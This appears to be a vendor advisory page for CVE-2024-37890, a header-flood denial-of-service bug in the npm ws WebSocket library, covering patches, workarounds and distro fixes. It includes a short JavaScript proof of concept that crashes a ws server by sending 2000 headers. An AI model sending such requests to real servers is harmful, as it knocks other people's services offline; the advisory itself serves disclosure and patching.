CVE-2024-37890 is a high-severity (CVSS 7.5) NULL Pointer Dereference vulnerability in ws. A fix is available for ws — see the affected versions and patch details below.
Denial of service when handling a request with many HTTP headers in ws
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-37890.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-37890 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
wsnpmDescription
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});
Patches
The vulnerability was fixed in [email protected] (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to [email protected] (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), [email protected] (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and [email protected] (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | ws | ≥ 2.1.0&&< 5.2.4 | 5.2.4npm install ws@5.2.4 |
| 📦npm | ws | ≥ 6.0.0&&< 6.2.3 | 6.2.3npm install ws@6.2.3 |
| 📦npm | ws | ≥ 7.0.0&&< 7.5.10 | 7.5.10npm install ws@7.5.10 |
| 📦npm | ws | ≥ 8.0.0&&< 8.17.1 | 8.17.1npm install ws@8.17.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ws, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ws to 5.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-37890 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-37890 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-37890. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Developer Hub 1.3 on RHEL 9 | rhdh/rhdh-hub-rhel9:1.3-124 | RHBA-2024:9054 |
| RHODF-4.14-RHEL-9 | odf4/odf-console-rhel9:v4.14.18-3 | RHSA-2025:8551 |
| RHODF-4.15-RHEL-9 | odf4/odf-console-rhel9:v4.15.14-2 | RHSA-2025:8544 |
| RHODF-4.16-RHEL-9 | odf4/mcg-core-rhel9:v4.16.0-60 | RHSA-2024:4591 |
| RHODF-4.16-RHEL-9 | odf4/mcg-core-rhel9:v4.16.1-2 | RHSA-2024:5547 |
| RHODF-4.16-RHEL-9 | odf4/odf-console-rhel9:v4.16.2-2 | RHSA-2024:6755 |
| Red Hat OpenShift Pipelines 1.15 | openshift-pipelines/pipelines-hub-ui-rhel8:1772036471 | RHSA-2026:3710 |
| Red Hat OpenShift Pipelines 1.15 | openshift-pipelines/pipelines-hub-ui-rhel8:1772036471 | RHSA-2026:3712 |
Frequently Asked Questions
Is CVE-2024-37890 in your dependencies?
O3 Security finds CVE-2024-37890 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.